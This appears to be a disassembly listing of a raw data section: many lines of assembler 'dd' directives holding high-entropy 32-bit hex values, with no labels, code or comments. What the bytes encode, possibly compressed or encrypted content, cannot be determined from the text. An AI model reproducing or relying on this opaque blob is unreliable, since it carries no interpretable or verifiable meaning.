		dd 757325h, 0C9028722h,	0CCDF8B41h, 0AE00B8F8h,	6619D9F8h
		dd 17A49E1h, 971B3546h,	0C4BE550Ch, 0CE0E109Eh,	8B642Ch
		dd 0D9CC70ABh, 73900065h, 7D1B114Fh, 8870E135h,	62526317h
		dd 16727300h, 1C4ECE6h,	7DA24B57h, 0DCAE7873h, 9800C0D0h
		dd 362833C8h, 150CD52Fh, 0E819D464h, 8AA03A00h,	5F2A999Fh
		dd 0D69BCF00h, 0C30F8E40h, 0C6E000F2h, 66523A81h, 0E3005BA6h
		dd 886E7455h, 958326h, 62AA1985h, 0EC58E023h, 76496F79h
		dd 0D4A82814h, 0C9603400h, 0D4518235h, 9E7642h,	3F227B0Ah
		dd 0DE863641h, 1DEE5400h, 4AE69CD6h, 0FD2307CBh, 0A32F466Dh
		dd 1E907A6Bh, 10009A71h, 0A2F9A970h, 466C43Eh, 57DCB64Bh
		dd 9E77C01Fh, 0E4FEE9A3h, 0BF583Fh, 2BE72CA9h, 76F04A7Ch
		dd 0C7FE00C3h, 61A311A0h, 2A001721h, 5B454DF5h,	3B153DA9h
		dd 1A804B81h
		dd 69513519h, 743988B7h, 7F950F54h, 0A4033E72h,	0C06F0FF9h
		dd 9A5BBEh, 0B4C74C0Ch,	8713C234h, 8074D028h, 723BDD02h
		dd 80820325h, 0CF35CEA0h, 31F4005Fh, 2CEF0BA6h,	533F37ECh
		dd 1306004Eh, 0A8407275h, 0B8ECA0A7h, 6D94012Bh, 0C1DD8844h
		dd 1328201Bh, 0C503B77Ch, 0C0848D56h, 57190096h, 397A8532h
		dd 762292B2h, 0B3EC00C8h, 0CD7D9793h, 0CAF806BAh, 0A7F0EB00h
		dd 2DF2373h, 7D9F7C71h,	55BA3EF4h, 0D500F049h, 0D83D48D1h
		dd 40ECC07h, 0E090FD10h, 60AA6DB8h, 4C093AADh, 0E0075C48h
		dd 907F8537h, 167AD258h, 0E1D6C0C0h, 0AAE744h, 101336ADh
		dd 71814BCCh, 1587FF00h, 94727E26h, 0C1ED1F32h,	2700BC08h
		dd 8F763304h, 0EB023DDBh, 0E9774979h, 0A0B48FF4h, 40DA4D0Eh
		dd 84233AE8h, 449C5880h, 0FAA60D85h, 28F56830h,	0EA1FB09h
		dd 562B2CD4h, 0F64D2FFh, 0A6843CDEh, 0FD64C8D8h, 18B4D200h
		dd 8E6E1E42h, 0B9250058h, 21EA4145h, 0B2042481h, 1575BA19h
		dd 2C630890h, 0FBA60020h, 131CAB73h, 6F01F9BFh,	1BCBE756h
		dd 2B30D0A0h, 202F0FADh, 0F220DE01h, 0AA8EE240h, 12E9D800h
		dd 0EC444C27h, 73C30056h, 0F4CE0754h, 871E1B90h, 0AB00AF89h
		dd 0FC7A6E1Dh, 237700A0h, 9A9ED2FFh, 581419E8h,	18A52D3h
		dd 149CD512h, 4980075Dh, 0D4F765ABh, 0DD5A1175h, 33EFA306h
		dd 0DA79F0h, 132B81A3h,	0F2BBD5E5h, 3454B203h, 0A466040Fh
		dd 0CD27C480h, 623D01CCh, 0ADD4483Ah, 0DCA8FB2Ch, 0A8009340h
		dd 568C482h, 98CF55h, 2D1C378Eh, 0E64AD16Ah, 3D52A503h
		dd 0A971915Eh, 0CDE0DFCBh, 77870114h, 0BA5C8A43h, 0A098A6D5h
		dd 5800342Ah, 0BBA00142h, 0EF61FAh, 0B257D5ADh,	0CD2522BEh
		dd 9B3A4703h, 0A9857A93h, 43C4348Dh, 66BA0027h,	8C974B75h
		dd 0FC3E4A3Bh, 3EC72BBh, 0DAF44400h, 8751B263h,	48E90054h
		dd 929BD88Ah, 30070DBh,	782FE22Bh, 3F4197h, 0B5D23A01h
		dd 407AA956h, 0F2055200h, 9B46CD7Bh, 0C644004Fh, 716954C3h
		dd 660F0D5Eh, 0C04E2439h, 49019F51h, 0EB3F008Bh, 0CD5ABA37h
		dd 7A1C9568h, 0A09482h,	19C72175h, 78D2F413h, 0D4042209h
		dd 0AC0CA18Ch, 6AE462D8h, 0E833C84h, 3D689Dh, 418EDC5Bh
		dd 0C4003FB1h, 0FF3513Bh, 58959DEh, 31918D8h, 49FC0079h
		dd 878C1FC1h, 0E9009379h, 9B480E0Bh, 0EAC3AB0h,	0B76DAD10h
		dd 44FB600h, 7867962Fh,	57101938h, 7A9B6A2Ch, 93F70070h
		dd 0BF28E05Ah, 77001B66h, 52D17615h, 173F22Dh, 6FFB4DFDh
		dd 0D430AB64h, 2505DC57h, 8B45D311h, 2B8CA980h,	0D62A3BECh
		dd 6B21AEh, 0B02E1634h,	0C6124A67h, 6803FE33h, 9D4E9E1Eh
		dd 0EF6870C0h, 0DE7E03D5h, 0EA0D5814h, 0F8CD0FE9h, 0AB72B38Fh
		dd 0ECA2303h, 0F0F5679Dh, 5C15AC30h, 940024E3h,	0FF1472Ch
		dd 200EFFC4h, 4ED64EE4h, 0A5A98214h, 6B5C604Dh,	1B290085h
		dd 9B2D8838h, 5500133Bh, 0B8F9D8C1h, 7E7D1CA0h,	0B024001Ah
		dd 0AA49BD1Bh, 9F244447h, 0C1431805h, 78D5B093h, 0E0221E14h
		dd 63C000A7h, 2C61F2D4h, 0A98AE201h, 27549832h,	765DC60h
		dd 0FDA86EC0h, 86E040B0h, 0F45017B5h, 0B42620ECh, 0C3007047h
		dd 0DE7099C7h, 57AB000Eh, 0B7FC6F3Fh, 0CC909BA6h, 0FDB12D00h
		dd 37B01A56h, 1F390093h, 740BF654h, 0A3A0804Ch,	0B8E0E65Bh
		dd 97660300h, 0B1B2D30Fh, 74C74D88h, 4498B72Eh,	9B083EDh
		dd 7E25909Fh, 0C307CE34h, 0F5C8F1F3h, 94BE03F0h, 0B30D00E5h
		dd 84D1300Fh, 0C00041A0h, 0C958AF90h, 684B49h, 0C4775C7Eh
		dd 361904A2h, 1E6880E1h, 4FBC1A02h, 9A34FE80h, 582D00B4h
		dd 91ACA305h, 0BB0AF4C2h, 106380FBh, 4C202490h,	683CA22Eh
		dd 0F696A101h, 14343A43h, 719E30B9h, 1AEA1CD1h,	0E21DED1Dh
		dd 8129E800h, 9AC419h, 98B541D9h, 70F4B9BAh, 0F57D31C0h
		dd 1D75B111h, 0DDD51AD9h, 81351859h, 810105E9h,	4CAD4EAh
		dd 0F8203822h, 36D21223h, 1E04059h, 948EB354h, 9D3C280Eh
		dd 914461C8h, 6880B8CFh, 0C1D422DBh, 0B31845D9h, 83390531h
		dd 1C341865h, 3FFDB0B2h, 7408F600h, 0D00B0C79h,	0BA5F00ACh
		dd 0EAB4A56Fh, 1906C61Ch, 8860DA8h, 650307D0h, 0D0875509h
		dd 0AEAB7BAAh, 22F42D00h, 0DF6B4D01h, 0CB2B00ADh, 0CFAFBE04h
		dd 3E71A85Dh, 2D006C75h, 0B84854DDh, 4A0EFAF3h,	0B5EC78B1h
		dd 9D823401h, 283980AFh, 59E2F0h, 0A65CFB7h, 0AA753681h
		dd 0BFDD3100h, 99C87EDBh, 85FCA85Ah, 0BDD416E5h, 0C97D0004h
		dd 74367F6Ah, 0E8EF331Ch, 0A4E96C80h, 773E04BEh, 0C7B62984h
		dd 51B8E220h, 37559F30h, 6020D621h, 0F506A770h,	1F09852h
		dd 0EF78CD95h, 0EC41721Dh, 89819F6h, 0B5B2216Ch, 85B87700h
		dd 21BB38E2h, 5B3700B9h, 0BF9F299Bh, 0E0C1E125h, 47F16D1Eh
		dd 0BB7A885h, 76CF0A75h, 0C4908090h, 9D9B7E57h,	460059D3h
		dd 715DBE1h, 0D612031Fh, 994F9F7Ah, 551E2106h, 6504DB1h
		dd 369DF260h, 58C8D805h, 24D869Ah, 0DB019191h, 0A901B5FBh
		dd 0D0E05C09h, 25F07Eh,	5AB38412h, 63EDBDC3h, 73E1D50Fh
		dd 10414905h, 148C3D64h, 8F150B1Eh, 81012558h, 0E5B7685Ch
		dd 0DCE080F4h, 0FCD23E78h, 0E6FCA902h, 3D76DF4h, 70D4CAD9h
		dd 830FA81h, 0C9C021F7h, 33F5046Dh, 88FD0AF6h, 0A600B288h
		dd 0CCB14966h, 0DB7AE3h, 0D1C3DA2Eh, 0B604E8F4h, 660C39F8h
		dd 0A1A2A65Fh, 0C8D600E6h, 0BAB0B5F3h, 0F81D163Ah, 0ACC09F12h
		dd 9174A2CCh, 7568C15Ah, 80AD46B7h, 43D45039h, 19E8BBDBh
		dd 41B33AB9h, 71219DACh, 0B2174340h, 4424C7h, 0F79A59FEh
		dd 6A78E690h, 2F3FD6EEh, 6CC4A495h, 7632CE03h, 84FA9097h
		dd 197D0152h, 0F62FA104h, 749443E4h, 6B0C490h, 0EA37FE20h
		dd 2FEC061Eh, 0A87CA2C8h, 0AB1B964h, 0E3F9AC90h, 0A1110A2Fh
		dd 9CB835B7h, 607CC07Bh, 0ABA5D9DFh, 0E080716Ch, 0CA028CB5h
		dd 0D8BBFD43h, 10AB19BAh, 43C277h, 4A4B20B5h, 845B61CAh
		dd 2CA66924h, 0B650C719h, 0F643D419h, 11B0BB23h, 4F007A1h
		dd 57118E43h, 0C432461Dh, 0C3A70C1Eh, 687AD2A6h, 0B6D72E02h
		dd 48F8436Ch, 1B933A8h,	0DBDAFB0Dh, 247A983Eh, 1D1E1374h
		dd 39A6F3C0h, 16BAC600h, 3957A8B3h, 617F47DAh, 0F9D5401Ah
		dd 7EA85028h, 0BA0088C1h, 0A4BFFAEAh, 48D75A9Fh, 0A8EC00A1h
		dd 331A008Ch, 8899A58h,	0AD28DD1Eh, 3B0A9034h, 0C8F621C7h
		dd 0B8111C24h, 0EE78CC80h, 448CAA1Dh, 0B401DB6Bh, 3C11177h
		dd 7180A041h, 53A6B32Eh, 9F006457h, 20481B7Fh, 20960C4h
		dd 0F1C0322Ch, 0E042A721h, 60E1B884h, 23D46DDBh, 911D2D9h
		dd 0C8C724h, 6C12211h, 0A1097A4Fh, 0A70435CFh, 38E67550h
		dd 686052D9h, 1F3081E2h, 0AD0F02F8h, 82EE6BB7h,	73E85443h
		dd 0AC26F1BBh, 0D9024425h, 48723BBDh, 0EE789558h, 0AD023409h
		dd 63408C21h, 5C95B71Ah, 0EEFC5AA0h, 3D192684h,	9F8A2F8h
		dd 8D01BBDEh, 7B5F74A0h, 0A400D605h, 0DBBDE060h, 0D29463A5h
		dd 18801D70h, 977A283Ch, 0AD3E41C0h, 0A00B7D22h, 0FE9D83ACh
		dd 2838483Ch, 0F2DAC40Dh, 0ACC2DB29h, 0EA04DC4Ch, 8CA2CE2Fh
		dd 0AD3461h, 2FE1E3h, 867D29FDh, 0F5B52695h, 0F0094700h
		dd 0B79F9643h, 0E00E6051h, 0B11D8D9Eh, 1014D8DFh, 3BC923C0h
		dd 1DEB7884h, 20886212h, 0E877B1B6h, 60AAFF00h,	9A02582Ah
		dd 12342C39h, 4ED08B4h,	2BA55F85h, 189B78D4h, 3DDC8AC0h
		dd 80164B7Fh, 4601047h
		dd 0B9A4ABh, 0C61E0796h, 84BB1CBFh, 48F8900Bh, 0F01004CEh
		dd 868CEA43h, 0D15B70C0h, 4A79B600h, 6E4E30D9h,	908B1399h
		dd 0A6F40FF6h, 0A1ACDA61h, 0B08C70B9h, 709E9609h, 46C01415h
		dd 78CF02F3h, 9CA21DE9h, 0B7DC0198h, 2C964077h,	75E8E04Bh
		dd 0FA33CA04h, 4811CC0h, 8C5030F9h, 96486h, 0E9F72F40h
		dd 0C2CB53B9h, 1A77F313h, 0EC8EF464h, 37AD3184h, 36E0E517h
		dd 1BB52D87h, 801FC921h, 0FA394EE8h, 41980355h,	196579Ch
		dd 58E90520h, 0E8D1C4D8h, 0CED7042Fh, 88FDE3CBh, 930071F8h
		dd 85F4F9C1h, 0A32CB7h,	0C0C6431Ah, 0A95E3D2Bh,	97B16704h
		dd 7B848BC8h, 0F8038C40h, 1183F08h, 49B7092Ch, 0CC8D30BCh
		dd 0BF14AEC0h, 4B801D5h, 4E09DC3Eh, 16895880h, 5DF00637h
		dd 815AFDE0h, 0DE13AA00h, 0C8D43FBFh, 1ED80011h, 0B9A745E9h
		dd 190AE866h, 70FE34C4h, 4882CF01h, 18E8618Dh, 2A9E0A53h
		dd 68FCDFh, 0CFE7325Dh,	2000563Ch, 170B48C0h, 0C6BA95h
		dd 0E0852DCEh, 0AD6F55BEh, 4025D02Eh, 0BAA0B300h, 50616940h
		dd 8CC0D0BCh, 0CA2FE602h, 1990ECA1h, 0DDF71036h, 0BA712Fh
		dd 0BD716C0h, 952E85CAh, 0C4A0FB28h, 80809B4Ch,	4BC1F99Ch
		dd 1F9F1FC4h, 0B78039DAh, 6C1979ABh, 8C77307Ch,	3673BC00h
		dd 9829B552h, 0E45B4DEAh, 0FD01E723h, 0C2D9CA6Dh, 0C5100019h
		dd 0BE016DF6h, 0AF3C42DFh, 98E4B897h, 9F9518DBh, 0F4AD9892h
		dd 0BF0BE10Ch, 647A19Eh, 4CF1B916h, 30911001h, 4A1882D1h
		dd 0E346EF06h, 481894D4h, 97E8BC90h, 0C77E008Ch, 0C1C0E592h
		dd 0AA4D41F3h, 7B201E30h, 5CF18F00h, 6C0579Fh, 0AFB5D90Fh
		dd 2D3BD882h, 0C403832Ah, 0EB0B069Ah, 0CCD14C7Ah, 0BDD34500h
		dd 3CF1B704h, 3744D858h, 9B84388Eh, 0D11B0081h,	30E6B842h
		dd 0D3116DC0h, 0E88AAD9h, 6DA5C480h, 12C5C3Ah, 94A4E160h
		dd 32F84C37h, 36140010h, 1F95DF7Dh, 0A25300C4h,	63FBA3A7h
		dd 0C6025BC8h, 0A1E11337h, 6430603Eh, 0D8028219h, 0B500C55Fh
		dd 0D904C1F1h, 19E3A0D8h, 23AE6DF8h, 0F511E2D9h, 6DCAC100h
		dd 0C7E75E28h, 0E85B992Ch, 0BC1F0FBBh, 710CCC01h, 3C9000A5h
		dd 16CE2850h, 96F37FA3h, 43A2328h, 0E305A123h, 5883D072h
		dd 14E0D327h, 0CD46F078h, 0ABBCB458h, 3B4A028Ch, 0D1443846h
		dd 0F29F24C0h, 2347D601h, 0D07FCFDEh, 0A7BC4828h, 5073708Ch
		dd 7E16C45Ch, 244BF97Eh, 0EBC0A888h, 6E45A4h, 0DDB0CE56h
		dd 84F8A355h, 0E5D1F600h, 7971A104h, 7C29FD5Fh,	0EE3D8C48h
		dd 40C9F0D0h, 9D14B903h, 0FC89F3h, 0B85EDBBBh, 0F0456B3h
		dd 0CC8F2427h, 18F9BFE1h, 0CA10312Dh, 46C1441h,	2B5DB082h
		dd 31A0270Fh, 142BBC5Ah, 0D422D900h, 6D38817Ah,	332F7F73h
		dd 30387613h, 2CC3C0B8h, 2780231Eh, 24D01C93h, 0BAE068h
		dd 34B90E5Fh, 8FD97A91h, 0E8447948h, 9B008C0Dh,	9E1E4F85h
		dd 58F3956Bh, 0BA0E8103h, 30E0BB81h, 9C0FFFBh, 80992226h
		dd 8064E064h, 0FAD9AD70h, 0C60034A5h, 94A06DCBh, 4DAF8A8h
		dd 0C1A48763h, 0C75CA48Ch, 77CB028Ch, 17C21DE5h, 10176E19h
		dd 737C77B3h, 0E0CB1200h, 607B5EECh, 2575161Eh,	0FF700144h
		dd 20E35DC7h, 39D00D70h, 8FA7009Ch, 7020C665h, 0A9DA2CC4h
		dd 0DE34A62Ch, 2C34900h, 0C79F5B8Dh, 44E54A95h,	5F4345CCh
		dd 1859290Dh, 58C0741Ah, 0A983F36Fh, 0A1FE0C25h, 3503AF98h
		dd 759B5ED0h, 9EC40137h, 0C7A0CCC9h, 6C028A9h, 32B97574h
		dd 0B5550088h, 0CFB72934h, 20DFF389h, 8A2195C9h, 3824D3D0h
		dd 0ABAA0600h, 0A19FB305h, 0B868BDDFh, 3BA5D90Fh, 0BF4C0052h
		dd 556A4309h, 470778B8h, 9D83ACE5h, 22081A6h, 0CEF7E1B0h
		dd 209C0CDDh, 26697A23h, 84674A8h, 0A3B85630h, 721E1923h
		dd 2612F243h, 31505000h, 99DC29BCh, 3A7E13DCh, 0A52320h
		dd 3F131A49h, 920C075Bh, 21A34693h, 3A6A00FAh, 7AF6D879h
		dd 8E75602Dh, 0B0F54F38h, 8D1DF48Ch, 143C9C55h,	0F915C0F4h
		dd 0EB1CE023h, 0F576C0F2h, 0DB15B7FDh, 35F81616h, 0A1CCF804h
		dd 7D540E1Eh, 0A68F4099h, 0C000E039h, 0D7037B5Fh, 0E9CE00B3h
		dd 443BA1D2h, 0B900A4A8h, 0F68FCB02h, 0F1133439h, 35380C0h
		dd 0DCF7E688h, 507C3BD5h, 0E8BD9801h, 687B5091h, 0F6D070h
		dd 0A639E015h, 24C20B0Dh, 3B9B100h, 0E1935094h,	1B051C43h
		dd 8750649Ch, 0E0B27327h, 398FD2F7h, 75191D60h,	343F83h
		dd 0E049817Bh, 3C4F804Dh, 3B2F1403h, 0A164F239h, 0B0807409h
		dd 0CD4320F6h, 7D1CF8FDh, 3F5D6655h, 6B884480h,	1D6E95Ah
		dd 0EC36E678h, 0CC4B2782h, 93ECA8Fh, 0C0AA018Ch, 0FA5541E1h
		dd 7C326E8h, 0E09FB7E2h, 6F3B60F9h, 8826DCF0h, 9E18DDDDh
		dd 3354B30h, 176BD1AFh,	48730A0Eh, 5081D40Bh, 5DAD03AAh
		dd 4268FE66h, 2F037C4Ah, 4C708AB7h, 0F87007A6h,	801D7BDCh
		dd 38A19BD1h, 0FFC9D1Eh, 0FE305B58h, 2EB1DCFh, 7B04E24Ch
		dd 0A5724373h, 0DDC5FAC0h, 12EB009Fh, 225063B7h, 82E0E22Eh
		dd 58986D00h, 0A6E60247h, 0FBF8C7F8h, 0FAC25050h, 6360FE45h
		dd 16E27D50h, 2A1327Ch,	3421F368h, 0C6832D2Eh, 0AD60FCE9h
		dd 9EB1900h, 0C61858B6h, 0E2730479h, 0C088165Dh, 60B4E56Bh
		dd 0CC020801h, 0F905CB7Ah, 0BB73C840h, 4FC200D1h, 36D4B456h
		dd 0E700E0E1h, 4D3565E9h, 0F388337h, 691F2AC9h,	6C4E9F60h
		dd 0E800DB58h, 0C8B5FA7Dh, 88E514h, 0A5D070ACh,	0C4C6D498h
		dd 0BE910419h, 21878508h, 0D0A57857h, 0C1F640B5h, 0E192D200h
		dd 0BAD305AEh, 72150607h, 188E0E9Eh, 1FEB4C3Dh,	3C021776h
		dd 3D8E667h, 5000CA7Bh,	890D97B1h, 6F5210ACh, 2A870875h
		dd 2D82A04Bh, 917CCEEBh, 0D5C0CC00h, 50D42398h,	9EA809D1h
		dd 7F03DE77h, 390E88FCh, 83270119h, 38AF1D7h, 8C124968h
		dd 2000C080h, 28B3CC88h, 79AF6829h, 562E1F1Eh, 1B55119h
		dd 9A55CEA9h, 0F7FC94B6h, 24605041h, 0CD048C8Eh, 7F682F55h
		dd 0C0039338h, 58A4C855h, 5AC1C0A0h, 847E5047h,	4B7D40h
		dd 9BFCDA25h, 2CA8A5EDh, 0A6B62100h, 0D437C39Ch, 0FD450089h
		dd 2EDC0BAAh, 0C10043F8h, 0A8BA57F9h, 7AE32038h, 0BC90085h
		dd 7E96F410h, 19E60D3Fh, 6ECBB000h, 0D04DD8B5h,	0E4B7D79h
		dd 0FB9DEA48h, 0D1938240h, 0FC02AFEDh, 849F5157h, 7E264006h
		dd 48380352h, 0E0FF7616h, 1EFC25E8h, 7DCF1500h,	80C019DBh
		dd 90237A4Bh, 0BFA71DC3h, 5D148039h, 5FCDA80Eh,	3F03F2ECh
		dd 0E13D5EF0h, 0C4AED85Bh, 914F1CBBh, 0AB198070h, 746167D3h
		dd 0E926650Bh, 0CD8F00CCh, 0DE8DBEh, 5C472D2h, 0B0E3AEE4h
		dd 87003B7Dh, 0AFF85A8Ch, 776F0E78h, 378D00B6h,	7594ACD6h
		dd 9A007DC0h, 0CFF1320Ch, 6E1406h, 0A489525Ch, 8E1BB3E7h
		dd 0CD79D81Eh, 0BF92C2C0h, 1C207E53h, 0DF743EE2h, 0D8944086h
		dd 0F17CBCA9h, 0D3CF6501h, 681C0AA0h, 0FCE9870h, 1D80AAFEh
		dd 0EEF14CA0h, 8500A752h, 0C293F92Ah, 0FE9E1Fh,	4FBE8BFDh
		dd 3494B49Ch, 0E3D9480Fh, 4DF32020h, 38D403h, 0FEDE0651h
		dd 0D7CD13EDh, 9A00F7F0h, 92311434h, 3538130h, 8BE450C5h
		dd 0E6E354E0h, 3A74FAE0h, 0B2410900h, 0ACFBC36Bh, 66CD00C7h
		dd 0EC0DC87Bh, 0E61C5CCAh, 79C0C95Bh, 759525ADh, 0B8EF1401h
		dd 0DA008481h, 8D1CD2DBh, 2500CD85h, 7666D99Fh,	71ABE55h
		dd 153AC918h, 6BB930EFh, 5C1DD2E2h, 7F00518Fh, 1DD87813h
		dd 0DC8448D7h, 0ADB57D05h
		dd 5A000EEh, 57C01667h,	70A48C00h, 8F3C2E32h, 0F4C30064h
		dd 3E943543h, 0A900693Fh, 0B1B5938Ah, 0C0AB25C2h, 0C3D7F441h
		dd 6B00BD07h, 0B9D47C2Eh, 25F1D9h, 1058DCA4h, 0DAEFEB1Dh
		dd 74C2A200h, 0C34A1BACh, 4E520020h, 7BE004E7h,	0D37D6E55h
		dd 675D9F00h, 0FFA0822Dh, 0BB9D1C34h, 0CBE541A7h, 0C51DB280h
		dd 2CA60AFh, 0CF7933Ch,	90BFCF52h, 0CE28441Eh, 0B6940D06h
		dd 11E8089h, 71905056h,	209F4510h, 0EB30DA55h, 0A59E3011h
		dd 6E3E22Eh, 66D06F5Dh,	0E0001812h, 0C736597Ch,	0F45CB9Eh
		dd 0ED7FB6AAh, 6B549DE0h, 471C4DA2h, 7E40C8C0h,	250B537Dh
		dd 17D10089h, 72B5EC9Fh, 0FC022BE8h, 0D44EF966h, 2A84876Ah
		dd 68A01B97h, 465D90h, 0DBF63A9Ch, 0EAF25940h, 5E44131Fh
		dd 0FEC02E5Ch, 5C0F9242h, 0C3FB0018h, 0FA4D8B3Ah, 6C0037E7h
		dd 0D2C81195h, 3EE083D7h, 7D00B4D9h, 30C0C1F4h,	85005215h
		dd 1A6903EDh, 1145BF6h,	0F56EC7ADh, 0C0954306h,	24008F09h
		dd 340282Bh, 0B7C12Dh, 4F706BBCh, 0CDBC3EEh, 0B2DEE600h
		dd 2501855Bh, 3D18C04Ch, 0BDCF2B71h, 7B0A0D00h,	3FEFF2B3h
		dd 0D77C00CBh, 14752E7Dh, 4FE0B41Fh, 9529D01h, 68E6E9F9h
		dd 218002F9h, 85A09323h, 3B98FBEFh, 0D5455B1Ch,	330F1087h
		dd 8EC17010h, 0ED0E694h, 0EF2B74D3h, 2DCAA6A0h,	42007F41h
		dd 0A037AA26h, 3A70807Ah, 50009B87h, 0A54C82BEh, 43002E1Fh
		dd 2C0DFD8Eh, 0AED6FCh,	29C66544h, 618803Dh, 14EB2B00h
		dd 41683710h, 0C7DA00B8h, 503A5DFh, 0AB609322h,	32CE1A50h
		dd 53E268h, 3E23D8ACh, 161B0942h, 84E73124h, 77EA8400h
		dd 38BD2D29h, 504D1E49h, 73CE8200h, 15736FAh, 8FDA8A00h
		dd 6EC98E2Eh, 0C997068h, 2A84F49Ch, 611E9520h, 0D1405C26h
		dd 27BB603Ah, 0F38B004Ah, 0BA16DE85h, 0A8048857h, 21B2F993h
		dd 12F8080h, 1331006Fh,	0C2120367h, 9062EEE7h, 0E039C402h
		dd 750D2C9Bh, 0E8580231h, 5530D24Bh, 52BA960h, 9781C48h
		dd 0C196FBAh, 0F51181h,	20C738D6h, 0B01172CBh, 0E300AFE6h
		dd 79FC300Dh, 0C31E4D9h, 3AEC6B8Ah, 0FA0E5988h,	6FF88977h
		dd 7ED409Ah, 9B81263h, 0F0D4811Ah, 0B740BC80h, 20F462F2h
		dd 0F1016072h, 99117C76h, 0F0C387C3h, 4EDD4h, 3FAD09FEh
		dd 0C6A2F430h, 0F31CD800h, 0F820D79h, 0B0DA1E62h, 4EDC5Ah
		dd 2CAC7131h, 7C057A24h, 521E0D9Ah, 0C78CEEC0h,	95890014h
		dd 222AAECBh, 773E507Fh, 9AB981C4h, 2DBC651Fh, 0E00F96E4h
		dd 0F8740A91h, 0C41641h, 0D6513B98h, 4424FFE8h,	6B022F9Fh
		dd 483D1E1Fh, 6F954A0Ch, 93A1E0BBh, 0E39CD202h,	75BFD4E8h
		dd 443FE518h, 1577921h,	0D743BA19h, 0D233FA66h,	3B35EB40h
		dd 51D93FF4h, 5182BAF8h, 0DBDC693Dh, 0CC0E2D7Ch, 0A55A6087h
		dd 51843F7h, 98502C56h,	327C8015h, 0FD00C2E3h, 83F367DBh
		dd 3E49B6C5h, 72038FD8h, 0D1524D47h, 6715EDE0h,	339B7600h
		dd 0ECF270AEh, 6FB002BFh, 0C8FC3D1Ah, 0F068DEE1h, 0F600A024h
		dd 0EB75CE74h, 0C53AF3D1h, 0D078E288h, 0FA2ABE20h, 7B283F0Fh
		dd 12486079h, 7C7E7D7h,	63DADC8Ah, 0EB81F059h, 6B7F49BEh
		dd 0F9789A0Ch, 50E3E0B7h, 0E9D247Fh, 0DBFCE437h, 1C5B960h
		dd 0CF043466h, 0E6ECF831h, 4B814A80h, 0AD370142h, 877E1782h
		dd 0D9DCF4C5h, 600C87Dh, 0CC24598h, 7AA3F4h, 7097512Bh
		dd 0C69FA0F5h, 1CA1C502h, 605C997Ch, 7ECC58h, 0AD72B6E3h
		dd 0FFE6D2FEh, 75E0D8E7h, 8F1C5500h, 32B11985h,	6B4B00FBh
		dd 8CD4A080h, 0AB004E56h, 51B4127Ch, 1D06A6D1h,	0C1721EF2h
		dd 4866A221h, 4780E064h, 0B768EA00h, 42761869h,	9370383Ch
		dd 1717700h, 45F560FBh,	1E44745Ch, 4F498FCDh, 0AE60AE69h
		dd 46680A9h, 7B1DCBC9h,	4CA400C0h, 91254DE9h, 973AF0E2h
		dd 0B573832Eh, 0F033C73Dh, 246367EFh, 80200F4Bh, 0B2F73407h
		dd 81D6A77h, 8C07DF47h,	5CE01CF6h, 48B4C5C7h, 0BB80D0EBh
		dd 1BFA1F5Bh, 72E26400h, 0F5EE4EE3h, 0A207016Ah, 14B5214Fh
		dd 8EBED5BDh, 203BDA30h, 5771E730h, 0EB4B305Dh,	2B9B8B79h
		dd 6429B100h, 0A726798Ah, 2A861F6Fh, 98300C16h,	0C904D4C2h
		dd 3A454295h, 440488h, 6AFCC1AFh, 0F2A680CAh, 3A8C3949h
		dd 243CD4h, 7C7D3149h, 0C0BF32Ah, 0B2E38070h, 0ED183979h
		dd 2BD101EBh, 7DF2006Bh, 0A1E4A476h, 0A50733A2h, 44DF41B2h
		dd 0F0E869D3h, 248F1EDDh, 40D4DA96h, 20A34592h,	0C5105B00h
		dd 0B54D5FE8h, 0CEE00043h, 3E09241Dh, 5300045Dh, 0B4E18398h
		dd 7F27CFCh, 0FAA4D984h, 0D117D65Ch, 6182EA00h,	0D7C2C319h
		dd 9ED53E3Bh, 0FC30A6B0h, 1031439h, 477B024h, 78500F5Dh
		dd 82EC3D09h, 850075F9h, 0B23C9E60h, 0F13787h, 66A74D9Ah
		dd 1698FD39h, 11C0A305h, 0CC406304h, 80688D17h,	0D8B3502Dh
		dd 4BD9C528h, 10944CF0h, 0B2009240h, 0C2BE74A4h, 7B01E2h
		dd 0FDF271A6h, 43D67987h, 0C9165430h, 26957Fh, 314EC8BDh
		dd 0A5FE6ECAh, 58CDD000h, 0D96953D8h, 41B01E2h,	0DB9C1D1Ah
		dd 0FEC1BA86h, 0FCE84E00h, 5FBB6AC9h, 9BBF003Ah, 449ED837h
		dd 9C0987C0h, 3FEB9Ah, 3BB07C0Ch, 4D050AFFh, 62415F5h
		dd 0C134C482h, 0F18F8400h, 0E69A5B1Fh, 3057FCE5h, 0A1E9298Bh
		dd 0DEEC6760h, 0AB00CAB8h, 0ADAAE52h, 385A98h, 4B147084h
		dd 1154DC58h, 0F327E1C1h, 3BCC71ADh, 3D5700D6h,	444AB437h
		dd 750F0E84h, 60D9F8B6h, 8DD771D3h, 188B487Eh, 0B83CC180h
		dd 0C400A8F7h, 1DE3997Dh, 484594A6h, 2B806C3Dh,	5F49C38Fh
		dd 0D8AB9979h, 0B000B8F2h, 30809288h, 9BE1BF9Eh, 5B1FFB02h
		dd 0C4155439h, 0F5157CECh, 883E9Ah, 0AE0AFBB6h,	917645A1h
		dd 0EB830038h, 8E85F782h, 39F54B30h, 1C495CFh, 511863BCh
		dd 308D7691h, 0E22AA5B0h, 0B2F2148Fh, 5342B701h, 2ADC8C6h
		dd 98D7D8FFh, 6B25006Ch, 73B19578h, 5433F73Fh, 0D050C1FEh
		dd 286F5FECh, 0A0804B17h, 0CE35A9h, 440A5C3Dh, 0EC88C3FCh
		dd 0AA00FC9Ah, 5BA12507h, 171DA29h, 0D48BF315h,	71C03DC1h
		dd 0CAAFD01Fh, 528E441Fh, 0E039FA58h, 0D4BD0E9Dh, 581B59Bh
		dd 4C95265Dh, 392A45A4h, 10908419h, 0F287EF1Ch,	670098AAh
		dd 0F92D48F8h, 70D2B289h, 17700090h, 4F3BD821h,	0E8A843DAh
		dd 9E89825h, 29C0BE02h,	60152F03h, 2A59534h, 6BC7DA83h
		dd 0BC8489F5h, 0F2965F11h, 98546C63h, 262CFE24h, 6050D080h
		dd 0CDCFCB02h, 919EA801h, 6F806D98h, 33F5FC48h,	9FB13C88h
		dd 820ECEC8h, 11CD9509h, 0D1E41907h, 0ED844610h, 543EB500h
		dd 4918B63Bh, 0C76500D6h, 0B014A09Ah, 9EE66E50h, 8C38300h
		dd 2E497AB4h, 0D0090121h, 47C25D1h, 407BDDEDh, 0AE2D823Ch
		dd 0D92FC703h, 3D85DB22h, 86815E19h, 51F775D6h,	0F6F94061h
		dd 45304864h, 2BE9138h,	0EA5730DCh, 0CF3E2411h,	780F538h
